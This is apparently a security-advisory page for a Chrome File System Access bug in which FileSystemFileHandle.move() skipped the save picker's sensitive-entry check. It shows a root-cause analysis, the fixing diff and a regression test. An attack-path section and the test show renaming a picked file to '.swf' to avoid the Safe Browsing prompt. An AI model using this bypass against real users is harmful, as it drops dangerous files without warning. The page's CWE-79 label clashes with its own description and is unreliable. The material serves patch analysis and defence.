PatchGap
Chrome · Filesystems › Blink>Storage>FileSystem

CVE-2025-8580

Logic Error in Filesystems (Blink>Storage>FileSystem)
Low watch CVSS 4.3 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Filesystems
DescriptionInappropriate implementation in Filesystems
ComponentFilesystems
Sub-componentBlink>Storage>FileSystem
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker411544197
Fix commiteea1c4bbbf14 (chromium/src) +292/-18
CWECWE-79 (Cross-site scripting)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
CISA KEVNot listed
CreditedHuuuuu
Reported2025-04-18 · bounty $2000 (per vendor advisory)
Fix landed2025-06-10 (public git)
Disclosed2025-08-05
Patch gap56 days — fix public in source before the advisory

Background

File System Access `move()`
FileSystemFileHandle.move() lets a site rename or move a file it holds a handle to. The browser side runs in FileSystemAccessHandleBase, which takes locks and then performs the move, either overwriting (when it has write access to the destination) or through ConfirmMoveWillNotOverwriteDestination.
`ConfirmSensitiveEntryAccess`
the FileSystemAccessPermissionContext check the file picker uses to decide whether a chosen path is acceptable. It blocks sensitive locations, and for UserAction::kSave it can apply dangerous-file-type and Safe Browsing checks with a confirmation UI. It returns a SensitiveEntryResult (kAllowed, kAbort, …).
`FileSystemType`
kFileSystemTypeLocal / external types refer to real files on disk, and kFileSystemTypeTemporary is the sandboxed bucket file system (OPFS), where file names do not land on the real disk.
`PathInfo` / `PathType`
the path description passed to the permission context, kLocal or kExternal, based on the destination URL type.

Root Cause Analysis

Before the patch, once the move flow had taken its locks in file_system_access_handle_base.cc (the hunk does not name the enclosing function), it went straight to has_write_access_to_destination and then to DoPerformMoveOperation or ConfirmMoveWillNotOverwriteDestination. It never ran ConfirmSensitiveEntryAccess on the destination path. The file picker (FileSystemAccessManagerImpl::DidChooseEntries, per the new browser test’s comment) does run that check. So a site could get a harmless handle through showSaveFilePicker() and then move() it to a name or location the picker would have blocked or flagged, for example a .swf file that should go through the Safe Browsing / dangerous-type prompt. The broken rule is that every user-visible path a site can create through File System Access gets the same sensitive-entry and file-type check as the save picker.

The fix inserts that check for non-temporary destinations whenever a permission context exists, using HandleType::kFile and UserAction::kSave. It continues in the new DidVerifySensitiveEntryAccessForMove, which fails with kInvalidArgument on anything except SensitiveEntryResult::kAllowed before any move happens. This tightens the existing move flow.

Key insight
move() was a second way to choose a real on-disk file name, and it skipped the ConfirmSensitiveEntryAccess check that the save picker enforces. The fix runs that check on the move destination and only proceeds when the result is kAllowed.

Attack Path

  1. Get a benign writable handle the page calls showSaveFilePicker() and receives a handle to an innocuous file such as test.txt, which passes the picker’s sensitive-entry check.
  2. Rename to a dangerous target the page calls handle.move("test.swf") or moves the file to another destination path. Before the patch, no ConfirmSensitiveEntryAccess ran for the new path.
  3. File lands without prompt the move completes through DoPerformMoveOperation, so a file with a dangerous extension or in a sensitive location now exists on disk without the Safe Browsing or confirmation step the picker would have shown.
  4. Downstream misuse the user or OS may later open the dangerous-typed file, giving the attacker an execution or social-engineering foothold (inferred).

Impact Assessment

A web page that already has a File System Access handle (from a user-approved picker) can create files with blocked or dangerous names or locations on the user’s real file system. This bypasses the browser-process sensitive-entry and Safe Browsing confirmation applied to saves. Bucket (kFileSystemTypeTemporary) files are not affected. The vendor rates it low (“Inappropriate implementation in Filesystems”), with no in-the-wild exploitation reported. Any code execution from the dropped file needs further user or OS action and is (inferred).

Changed Functions

FunctionChangeNotes
if
content/browser/file_system_access/file_system_access_handle_base.cc
 modified
if
chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
 modified
FileSystemChromeAppTest
chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
 modified
FileSystemChromeAppTest
chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
 modified
FileSystemAccessFileHandleImplTest
content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
 modified
FileSystemAccessFileHandleImplMovePermissionsTest
content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
 modified
if
content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
 modified

Files Changed

  • chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
  • content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
  • content/browser/file_system_access/file_system_access_handle_base.cc
  • content/browser/file_system_access/file_system_access_handle_base.h

Audit Directions

  • Alternative path-creation APIs that skip picker checks
    check rename(), move() to a directory handle, getFileHandle({create: true}), drag-and-drop handles and FileSystemAccessDirectoryHandleImpl entry creation. Each should apply ConfirmSensitiveEntryAccess or IsFileTypeDangerous consistently with DidChooseEntries.
  • Bypass conditions on the check
    the check is skipped when permission_context() is null or the destination is kFileSystemTypeTemporary. Confirm that a renderer cannot make a real on-disk destination look temporary, and that embedders without a permission context are not exposed.
  • Async gap between check and move
    the check can show UI while locks are held. Verify that the path checked is exactly the one DoPerformMoveOperation writes, with no later re-resolution through symlinks or a changed parent handle.

Patch

view commit
diff --git a/content/browser/file_system_access/file_system_access_handle_base.cc b/content/browser/file_system_access/file_system_access_handle_base.cc
index 8b7cac8f..4e00787 100644
--- a/content/browser/file_system_access/file_system_access_handle_base.cc
+++ b/content/browser/file_system_access/file_system_access_handle_base.cc
@@ -393,6 +393,60 @@
                       "which is locked."})));
     return;
   }
+
+  if (manager()->permission_context() &&
+      destination_url.type() !=
+          storage::FileSystemType::kFileSystemTypeTemporary) {
+    // So far the destination path is considered safe with write access.
+    // However, it might still point to a blocklisted file type. Request a
+    // sensitive entry access check which will decide if the destination path
+    // should be allowed or blocked, and may spawn a confirmation UI.
+    content::PathInfo path_info{
+        destination_url.type() == storage::FileSystemType::kFileSystemTypeLocal
+            ? PathType::kLocal
+            : PathType::kExternal,
+        destination_url.path()};
+    manager()->permission_context()->ConfirmSensitiveEntryAccess(
+        context().storage_key.origin(), path_info,
+        // TODO(crbug.com/40198034): Update once moving directory is supported.
+        FileSystemAccessPermissionContext::HandleType::kFile,
+        // This must be kSave as the move operation will save the file.
+        FileSystemAccessPermissionContext::UserAction::kSave,
+        context().frame_id,
+        base::BindOnce(
+            &FileSystemAccessHandleBase::DidVerifySensitiveEntryAccessForMove,
+            AsWeakPtr(), std::move(destination_url),
+            has_write_access_to_destination, has_transient_user_activation,
+            std::move(callback), std::move(locks)));
+  } else {
+    // Skipping ConfirmSensitiveEntryAccess() as either of the following holds:
+    // (1) no permission context. Possibly because manager() is being destroyed
+    // or in a test.
+    // (2) destination file is in Bucket File System, i.e. not a real file.
+    DidVerifySensitiveEntryAccessForMove(
+        std::move(destination_url), has_write_access_to_destination,
+        has_transient_user_activation, std::move(callback), std::move(locks),
+        FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed);
+  }
+}
+
+void FileSystemAccessHandleBase::DidVerifySensitiveEntryAccessForMove(
+    storage::FileSystemURL destination_url,
+    bool has_write_access_to_destination,
+    bool has_transient_user_activation,
+    base::OnceCallback<void(blink::mojom::FileSystemAccessErrorPtr)> callback,
+    std::vector<scoped_refptr<LockHandle>> locks,
+    FileSystemAccessPermissionContext::SensitiveEntryResult
+        sensitive_entry_result) {
+  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+
+  if (sensitive_entry_result !=
+      FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed) {
+    std::move(callback).Run(file_system_access_error::FromStatus(
+        blink::mojom::FileSystemAccessStatus::kInvalidArgument));
+    return;
+  }
+
   // Only allow overwriting moves if we have write access to the destination.
   if (has_write_access_to_destination) {
     DoPerformMoveOperation(destination_url, std::move(locks),
diff --git a/content/browser/file_system_access/file_system_access_handle_base.h b/content/browser/file_system_access/file_system_access_handle_base.h
index dc0ffae..e0376f10 100644
--- a/content/browser/file_system_access/file_system_access_handle_base.h
+++ b/content/browser/file_system_access/file_system_access_handle_base.h
@@ -152,6 +152,14 @@
       base::OnceCallback<void(blink::mojom::FileSystemAccessErrorPtr)> callback,
       std::vector<scoped_refptr<FileSystemAccessLockManager::LockHandle>>
           locks);
+  void DidVerifySensitiveEntryAccessForMove(
+      storage::FileSystemURL destination_url,
+      bool has_write_access_to_destination,
+      bool has_transient_user_activation,
+      base::OnceCallback<void(blink::mojom::FileSystemAccessErrorPtr)> callback,
+      std::vector<scoped_refptr<FileSystemAccessLockManager::LockHandle>> locks,
+      FileSystemAccessPermissionContext::SensitiveEntryResult
+          sensitive_entry_result);
   // Only called if the move operation is not allowed to overwrite the target.
   void ConfirmMoveWillNotOverwriteDestination(
       const storage::FileSystemURL& destination_url,
diff --git a/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc b/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
index a5bc0a8..7db6c489c 100644
--- a/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
+++ b/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
@@ -72,8 +72,40 @@
     run_loop.Run();
   }
 
+  void ConfirmSensitiveEntryAccess(
+      const url::Origin& origin,
+      const content::PathInfo& path_info,
+      HandleType handle_type,
+      UserAction user_action,
+      content::GlobalRenderFrameHostId frame_id,
+      base::OnceCallback<void(SensitiveEntryResult)> callback) override {
+    confirm_sensitive_entry_access_ = true;
+    if (auto_abort_on_confirm_sensitive_entry_access_) {
+      std::move(callback).Run(SensitiveEntryResult::kAbort);
+      return;
+    }
+    ChromeFileSystemAccessPermissionContext::ConfirmSensitiveEntryAccess(
+        origin, path_info, handle_type, user_action, frame_id,
+        std::move(callback));
+  }
+
+  bool confirm_sensitive_entry_access() const {
+    return confirm_sensitive_entry_access_;
+  }
+
+  void set_auto_abort_on_confirm_sensitive_entry_access() {
+    auto_abort_on_confirm_sensitive_entry_access_ = true;
+  }
+
+  void reset() {
+    performed_after_write_checks_ = false;
+    confirm_sensitive_entry_access_ = false;
+  }
+
  private:
   bool performed_after_write_checks_ = false;
+  bool confirm_sensitive_entry_access_ = false;
+  bool auto_abort_on_confirm_sensitive_entry_access_ = false;
   base::OnceClosure quit_callback_;
 };
 
@@ -258,6 +290,77 @@
   ui::SelectFileDialog::SetFactory(nullptr);
 }
 
+// Tests that ConfirmSensitiveEntryAccess() is called by
+// 'FileSystemFileHandle.move()'.
+IN_PROC_BROWSER_TEST_F(
+    ChromeFileSystemAccessPermissionContextPrerenderingBrowserTest,
+    MoveFileAndConfirmSensitiveEntryAccess) {
+  const base::FilePath test_file = CreateTestFile("test.txt");
+  ui::SelectFileDialog::SetFactory(
+      std::make_unique<content::FakeSelectFileDialogFactory>(
+          std::vector<base::FilePath>{test_file}));
+
+  TestFileSystemAccessPermissionContext permission_context(
+      browser()->profile());
+  content::SetFileSystemAccessPermissionContext(browser()->profile(),
+                                                &permission_context);
+  FileSystemAccessPermissionRequestManager::FromWebContents(GetWebContents())
+      ->set_auto_response_for_test(permissions::PermissionAction::GRANTED);
+
+  // Initial navigation.
+  GURL initial_url = embedded_test_server()->GetURL("/empty.html");
+  ASSERT_NE(ui_test_utils::NavigateToURL(browser(), initial_url), nullptr);
+
+  // Expects no user interaction: showSaveFilePicker() automatically gets
+  // `test_file` from the fake file picker factory
+  // `FakeSelectFileDialogFactory` without the need for user interaction.
+  ASSERT_TRUE(ExecJs(GetWebContents(),
+                     R"(
+    var handle;
+    (async () =>{
+      handle = await self.showSaveFilePicker();
+    })()
+  )"));
+  EXPECT_EQ(test_file.BaseName().AsUTF8Unsafe(),
+            EvalJs(GetWebContents(), "handle.name"));
+  // Checks that PerformAfterWriteChecks() must not be called.
+  EXPECT_FALSE(permission_context.performed_after_write_checks());
+  // Checks that ConfirmSensitiveEntryAccess() is called within file picker,
+  // i.e. FileSystemAccessManagerImpl::DidChooseEntries.
+  EXPECT_TRUE(permission_context.confirm_sensitive_entry_access());
+
+  // Resets permission_context to receive new behavior.
+  permission_context.reset();
+
+  // Calling move() with '.swf' will trigger a SafeBrowsing check after calling
+  // `ConfirmSensitiveEntryAccess()`, which prompts the user to confirm saving
+  // such file.
+
+  // This line automatically aborts on calling ConfirmSensitiveEntryAccess() to
+  // bypass the SafeBrowsing dialog, as there is no way to accept the prompt
+  // in browser tests.
+  // Commenting this out will bring up the dialog and fail the test without a
+  // manual click.
+  permission_context.set_auto_abort_on_confirm_sensitive_entry_access();
+
+  EXPECT_THAT(
+      EvalJs(GetWebContents(),
+             R"(
+      handle.move("test.swf");
+  )"),
+      testing::Field(
+          &content::EvalJsResult::error,
+          testing::Eq(
+              "a JavaScript error: \"TypeError: Failed to execute 'move' on "
+              "'FileSystemFileHandle'\"\n")));
+  // Checks that ConfirmSensitiveEntryAccess() is called again to verify the
+  // move target file name.
+  EXPECT_TRUE(permission_context.confirm_sensitive_entry_access());
+
+  // Uninstall fake file picker factory.
+  ui::SelectFileDialog::SetFactory(nullptr);
+}
+
 class FileSystemChromeAppTest : public extensions::PlatformAppBrowserTest {
  public:
   FileSystemChromeAppTest() {
diff --git a/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc b/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
index e96bd8c..174140ca 100644
--- a/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
+++ b/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
@@ -6,6 +6,7 @@
 
 #include <limits>
 #include <memory>
+#include <optional>
 #include <string>
 #include <utility>
 #include <vector>
@@ -16,6 +17,7 @@
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/memory/scoped_refptr.h"
+#include "base/strings/strcat.h"
 #include "base/strings/stringprintf.h"
 #include "base/task/sequenced_task_runner.h"
 #include "base/task/single_thread_task_runner.h"
@@ -67,6 +69,13 @@
 using blink::mojom::PermissionStatus;
 using storage::FileSystemURL;
 
+// Test fixture for FileSystemAccessFileHandleImpl.
+//
+// The permission context in this fixture is always null, so the relevant
+// permission checks are skipped.
+//
+// Tests with mock permission context are in
+// FileSystemAccessFileHandleImplMovePermissionsTest.
 class FileSystemAccessFileHandleImplTest : public testing::Test {
  public:
   FileSystemAccessFileHandleImplTest() = default;
@@ -244,6 +253,7 @@
   scoped_refptr<storage::MockQuotaManagerProxy> quota_manager_proxy_;
   scoped_refptr<storage::FileSystemContext> file_system_context_;
   scoped_refptr<ChromeBlobStorageContext> chrome_blob_context_;
+  testing::NiceMock<MockFileSystemAccessPermissionContext> permission_context_;
   scoped_refptr<FileSystemAccessManagerImpl> manager_;
 
   raw_ptr<WebContents> web_contents_ = nullptr;
@@ -986,6 +996,13 @@
 }
 #endif  // BUILDFLAG(IS_MAC)
 
+struct MovePermissionsTestCase {
+  // Is there a file to be overwritten?
+  bool target_present;
+  // Does the site have user activation?
+  bool gesture_present;
+};
+
 // Uses a mock permission context to ensure the correct permission grant for the
 // target file (and parent, for renames) is used, since moves retrieve the
 // target's permission grant via GetSharedHandleStateForNonSandboxedPath() which
@@ -997,7 +1014,7 @@
 // access to the destination directory.
 class FileSystemAccessFileHandleImplMovePermissionsTest
     : public FileSystemAccessFileHandleImplTest,
-      public testing::WithParamInterface<std::tuple<bool, bool>> {
+      public testing::WithParamInterface<MovePermissionsTestCase> {
  public:
   void SetUp() override {
     base::CommandLine::ForCurrentProcess()->AppendSwitch(
@@ -1008,8 +1025,8 @@
     manager_->SetPermissionContextForTesting(&permission_context_);
   }
 
-  bool target_present() const { return std::get<0>(GetParam()); }
-  bool gesture_present() const { return std::get<1>(GetParam()); }
+  bool target_present() const { return GetParam().target_present; }
+  bool gesture_present() const { return GetParam().gesture_present; }
 
   std::pair<base::FilePath, base::FilePath> CreateSourceAndMaybeTarget() {
     base::FilePath source;
@@ -1053,6 +1070,15 @@
                     FileSystemAccessPermissionContext::HandleType::kFile,
                     FileSystemAccessPermissionContext::UserAction::kNone))
         .WillOnce(testing::Return(target_grant));
+    EXPECT_CALL(
+        permission_context_,
+        ConfirmSensitiveEntryAccess_(
+            origin, content::PathInfo(target),
+            FileSystemAccessPermissionContext::HandleType::kFile,
+            FileSystemAccessPermissionContext::UserAction::kSave,
+            web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+        .WillOnce(base::test::RunOnceCallback<5>(
+            FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed));
 
     // These checks should only be called if the file is successfully moved.
 
@@ -1093,7 +1119,9 @@
       const base::FilePath& target,
       scoped_refptr<FixedFileSystemAccessPermissionGrant> target_grant,
       blink::mojom::FileSystemAccessStatus result,
-      bool expects_safe_name = true) {
+      bool expects_safe_name = true,
+      std::optional<FileSystemAccessPermissionContext::SensitiveEntryResult>
+          expected_sensitive_entry_result = std::nullopt) {
     auto source_handle =
         GetHandleWithPermissions(source, /*read_grant=*/allow_grant_,
                                  /*write_grant=*/allow_grant_);
@@ -1105,7 +1133,18 @@
 
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
-        .WillOnce(testing::Return(!expects_safe_name));
+        .WillRepeatedly(testing::Return(!expects_safe_name));
+    if (expected_sensitive_entry_result.has_value()) {
+      EXPECT_CALL(
+          permission_context_,
+          ConfirmSensitiveEntryAccess_(
+              origin, content::PathInfo(target),
+              FileSystemAccessPermissionContext::HandleType::kFile,
+              FileSystemAccessPermissionContext::UserAction::kSave,
+              web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+          .WillOnce(
+              base::test::RunOnceCallback<5>(*expected_sensitive_entry_result));
+    }
     if (expects_safe_name) {
       // If safe name check has passed, it should be expected to get grants.
       EXPECT_CALL(permission_context_,
@@ -1156,6 +1195,15 @@
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
         .WillRepeatedly(testing::Return(false));
+    EXPECT_CALL(
+        permission_context_,
+        ConfirmSensitiveEntryAccess_(
+            origin, content::PathInfo(target),
+            FileSystemAccessPermissionContext::HandleType::kFile,
+            FileSystemAccessPermissionContext::UserAction::kSave,
+            web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+        .WillOnce(base::test::RunOnceCallback<5>(
+            FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed));
 
     // These checks should only be called if the file is successfully moved.
     if (source != target) {
@@ -1195,7 +1243,9 @@
       const base::FilePath& target,
       scoped_refptr<FixedFileSystemAccessPermissionGrant> target_grant,
       blink::mojom::FileSystemAccessStatus result,
-      bool expects_safe_name = true) {
+      bool expects_safe_name = true,
+      std::optional<FileSystemAccessPermissionContext::SensitiveEntryResult>
+          expected_sensitive_entry_result = std::nullopt) {
     base::FilePath target_parent = target.DirName();
     // The site has write access to the destination directory.
     auto dest_dir_handle = GetDirectoryHandleWithPermissions(
@@ -1208,7 +1258,18 @@
 
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
-        .WillOnce(testing::Return(!expects_safe_name));
+        .WillRepeatedly(testing::Return(!expects_safe_name));
+    if (expected_sensitive_entry_result.has_value()) {
+      EXPECT_CALL(
+          permission_context_,
+          ConfirmSensitiveEntryAccess_(
+              origin, content::PathInfo(target),
+              FileSystemAccessPermissionContext::HandleType::kFile,
+              FileSystemAccessPermissionContext::UserAction::kSave,
+              web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+          .WillOnce(
+              base::test::RunOnceCallback<5>(*expected_sensitive_entry_result));
+    }
 
     // No after-write checks needed since the file should not have been moved.
 
@@ -1230,6 +1291,24 @@
       permission_context_;
 };
 
+INSTANTIATE_TEST_SUITE_P(
+    All,
+    FileSystemAccessFileHandleImplMovePermissionsTest,
+    ::testing::Values(MovePermissionsTestCase{.target_present = false,
+                                              .gesture_present = false},
+                      MovePermissionsTestCase{.target_present = false,
+                                              .gesture_present = true},
+                      MovePermissionsTestCase{.target_present = true,
+                                              .gesture_present = false},
+                      MovePermissionsTestCase{.target_present = true,
+                                              .gesture_present = true}),
+    [](const testing::TestParamInfo<
+        FileSystemAccessFileHandleImplMovePermissionsTest::ParamType>& info) {
+      return base::StrCat(
+          {(info.param.target_present ? "" : "No"), "TargetPresent_",
+           (info.param.gesture_present ? "" : "No"), "GesturePresent"});
+    });
+
 TEST_P(FileSystemAccessFileHandleImplMovePermissionsTest,
... (file diff truncated)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc b/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
index a5bc0a8..7db6c489c 100644
--- a/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
+++ b/chrome/browser/file_system_access/chrome_file_system_access_permission_context_browsertest.cc
@@ -72,8 +72,40 @@
     run_loop.Run();
   }
 
+  void ConfirmSensitiveEntryAccess(
+      const url::Origin& origin,
+      const content::PathInfo& path_info,
+      HandleType handle_type,
+      UserAction user_action,
+      content::GlobalRenderFrameHostId frame_id,
+      base::OnceCallback<void(SensitiveEntryResult)> callback) override {
+    confirm_sensitive_entry_access_ = true;
+    if (auto_abort_on_confirm_sensitive_entry_access_) {
+      std::move(callback).Run(SensitiveEntryResult::kAbort);
+      return;
+    }
+    ChromeFileSystemAccessPermissionContext::ConfirmSensitiveEntryAccess(
+        origin, path_info, handle_type, user_action, frame_id,
+        std::move(callback));
+  }
+
+  bool confirm_sensitive_entry_access() const {
+    return confirm_sensitive_entry_access_;
+  }
+
+  void set_auto_abort_on_confirm_sensitive_entry_access() {
+    auto_abort_on_confirm_sensitive_entry_access_ = true;
+  }
+
+  void reset() {
+    performed_after_write_checks_ = false;
+    confirm_sensitive_entry_access_ = false;
+  }
+
  private:
   bool performed_after_write_checks_ = false;
+  bool confirm_sensitive_entry_access_ = false;
+  bool auto_abort_on_confirm_sensitive_entry_access_ = false;
   base::OnceClosure quit_callback_;
 };
 
@@ -258,6 +290,77 @@
   ui::SelectFileDialog::SetFactory(nullptr);
 }
 
+// Tests that ConfirmSensitiveEntryAccess() is called by
+// 'FileSystemFileHandle.move()'.
+IN_PROC_BROWSER_TEST_F(
+    ChromeFileSystemAccessPermissionContextPrerenderingBrowserTest,
+    MoveFileAndConfirmSensitiveEntryAccess) {
+  const base::FilePath test_file = CreateTestFile("test.txt");
+  ui::SelectFileDialog::SetFactory(
+      std::make_unique<content::FakeSelectFileDialogFactory>(
+          std::vector<base::FilePath>{test_file}));
+
+  TestFileSystemAccessPermissionContext permission_context(
+      browser()->profile());
+  content::SetFileSystemAccessPermissionContext(browser()->profile(),
+                                                &permission_context);
+  FileSystemAccessPermissionRequestManager::FromWebContents(GetWebContents())
+      ->set_auto_response_for_test(permissions::PermissionAction::GRANTED);
+
+  // Initial navigation.
+  GURL initial_url = embedded_test_server()->GetURL("/empty.html");
+  ASSERT_NE(ui_test_utils::NavigateToURL(browser(), initial_url), nullptr);
+
+  // Expects no user interaction: showSaveFilePicker() automatically gets
+  // `test_file` from the fake file picker factory
+  // `FakeSelectFileDialogFactory` without the need for user interaction.
+  ASSERT_TRUE(ExecJs(GetWebContents(),
+                     R"(
+    var handle;
+    (async () =>{
+      handle = await self.showSaveFilePicker();
+    })()
+  )"));
+  EXPECT_EQ(test_file.BaseName().AsUTF8Unsafe(),
+            EvalJs(GetWebContents(), "handle.name"));
+  // Checks that PerformAfterWriteChecks() must not be called.
+  EXPECT_FALSE(permission_context.performed_after_write_checks());
+  // Checks that ConfirmSensitiveEntryAccess() is called within file picker,
+  // i.e. FileSystemAccessManagerImpl::DidChooseEntries.
+  EXPECT_TRUE(permission_context.confirm_sensitive_entry_access());
+
+  // Resets permission_context to receive new behavior.
+  permission_context.reset();
+
+  // Calling move() with '.swf' will trigger a SafeBrowsing check after calling
+  // `ConfirmSensitiveEntryAccess()`, which prompts the user to confirm saving
+  // such file.
+
+  // This line automatically aborts on calling ConfirmSensitiveEntryAccess() to
+  // bypass the SafeBrowsing dialog, as there is no way to accept the prompt
+  // in browser tests.
+  // Commenting this out will bring up the dialog and fail the test without a
+  // manual click.
+  permission_context.set_auto_abort_on_confirm_sensitive_entry_access();
+
+  EXPECT_THAT(
+      EvalJs(GetWebContents(),
+             R"(
+      handle.move("test.swf");
+  )"),
+      testing::Field(
+          &content::EvalJsResult::error,
+          testing::Eq(
+              "a JavaScript error: \"TypeError: Failed to execute 'move' on "
+              "'FileSystemFileHandle'\"\n")));
+  // Checks that ConfirmSensitiveEntryAccess() is called again to verify the
+  // move target file name.
+  EXPECT_TRUE(permission_context.confirm_sensitive_entry_access());
+
+  // Uninstall fake file picker factory.
+  ui::SelectFileDialog::SetFactory(nullptr);
+}
+
 class FileSystemChromeAppTest : public extensions::PlatformAppBrowserTest {
  public:
   FileSystemChromeAppTest() {
diff --git a/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc b/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
index e96bd8c..174140ca 100644
--- a/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
+++ b/content/browser/file_system_access/file_system_access_file_handle_impl_unittest.cc
@@ -6,6 +6,7 @@
 
 #include <limits>
 #include <memory>
+#include <optional>
 #include <string>
 #include <utility>
 #include <vector>
@@ -16,6 +17,7 @@
 #include "base/files/file_util.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/memory/scoped_refptr.h"
+#include "base/strings/strcat.h"
 #include "base/strings/stringprintf.h"
 #include "base/task/sequenced_task_runner.h"
 #include "base/task/single_thread_task_runner.h"
@@ -67,6 +69,13 @@
 using blink::mojom::PermissionStatus;
 using storage::FileSystemURL;
 
+// Test fixture for FileSystemAccessFileHandleImpl.
+//
+// The permission context in this fixture is always null, so the relevant
+// permission checks are skipped.
+//
+// Tests with mock permission context are in
+// FileSystemAccessFileHandleImplMovePermissionsTest.
 class FileSystemAccessFileHandleImplTest : public testing::Test {
  public:
   FileSystemAccessFileHandleImplTest() = default;
@@ -244,6 +253,7 @@
   scoped_refptr<storage::MockQuotaManagerProxy> quota_manager_proxy_;
   scoped_refptr<storage::FileSystemContext> file_system_context_;
   scoped_refptr<ChromeBlobStorageContext> chrome_blob_context_;
+  testing::NiceMock<MockFileSystemAccessPermissionContext> permission_context_;
   scoped_refptr<FileSystemAccessManagerImpl> manager_;
 
   raw_ptr<WebContents> web_contents_ = nullptr;
@@ -986,6 +996,13 @@
 }
 #endif  // BUILDFLAG(IS_MAC)
 
+struct MovePermissionsTestCase {
+  // Is there a file to be overwritten?
+  bool target_present;
+  // Does the site have user activation?
+  bool gesture_present;
+};
+
 // Uses a mock permission context to ensure the correct permission grant for the
 // target file (and parent, for renames) is used, since moves retrieve the
 // target's permission grant via GetSharedHandleStateForNonSandboxedPath() which
@@ -997,7 +1014,7 @@
 // access to the destination directory.
 class FileSystemAccessFileHandleImplMovePermissionsTest
     : public FileSystemAccessFileHandleImplTest,
-      public testing::WithParamInterface<std::tuple<bool, bool>> {
+      public testing::WithParamInterface<MovePermissionsTestCase> {
  public:
   void SetUp() override {
     base::CommandLine::ForCurrentProcess()->AppendSwitch(
@@ -1008,8 +1025,8 @@
     manager_->SetPermissionContextForTesting(&permission_context_);
   }
 
-  bool target_present() const { return std::get<0>(GetParam()); }
-  bool gesture_present() const { return std::get<1>(GetParam()); }
+  bool target_present() const { return GetParam().target_present; }
+  bool gesture_present() const { return GetParam().gesture_present; }
 
   std::pair<base::FilePath, base::FilePath> CreateSourceAndMaybeTarget() {
     base::FilePath source;
@@ -1053,6 +1070,15 @@
                     FileSystemAccessPermissionContext::HandleType::kFile,
                     FileSystemAccessPermissionContext::UserAction::kNone))
         .WillOnce(testing::Return(target_grant));
+    EXPECT_CALL(
+        permission_context_,
+        ConfirmSensitiveEntryAccess_(
+            origin, content::PathInfo(target),
+            FileSystemAccessPermissionContext::HandleType::kFile,
+            FileSystemAccessPermissionContext::UserAction::kSave,
+            web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+        .WillOnce(base::test::RunOnceCallback<5>(
+            FileSystemAccessPermissionContext::SensitiveEntryResult::kAllowed));
 
     // These checks should only be called if the file is successfully moved.
 
@@ -1093,7 +1119,9 @@
       const base::FilePath& target,
       scoped_refptr<FixedFileSystemAccessPermissionGrant> target_grant,
       blink::mojom::FileSystemAccessStatus result,
-      bool expects_safe_name = true) {
+      bool expects_safe_name = true,
+      std::optional<FileSystemAccessPermissionContext::SensitiveEntryResult>
+          expected_sensitive_entry_result = std::nullopt) {
     auto source_handle =
         GetHandleWithPermissions(source, /*read_grant=*/allow_grant_,
                                  /*write_grant=*/allow_grant_);
@@ -1105,7 +1133,18 @@
 
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
-        .WillOnce(testing::Return(!expects_safe_name));
+        .WillRepeatedly(testing::Return(!expects_safe_name));
+    if (expected_sensitive_entry_result.has_value()) {
+      EXPECT_CALL(
+          permission_context_,
+          ConfirmSensitiveEntryAccess_(
+              origin, content::PathInfo(target),
+              FileSystemAccessPermissionContext::HandleType::kFile,
+              FileSystemAccessPermissionContext::UserAction::kSave,
+              web_contents_->GetPrimaryMainFrame()->GetGlobalId(), testing::_))
+          .WillOnce(
+              base::test::RunOnceCallback<5>(*expected_sensitive_entry_result));
+    }
     if (expects_safe_name) {
       // If safe name check has passed, it should be expected to get grants.
       EXPECT_CALL(permission_context_,
@@ -1156,6 +1195,15 @@
     EXPECT_CALL(permission_context_,
                 IsFileTypeDangerous_(target_basename, origin))
         .WillRepeatedly(testing::Return(false));
+    EXPECT_CALL(
+        permission_context_,
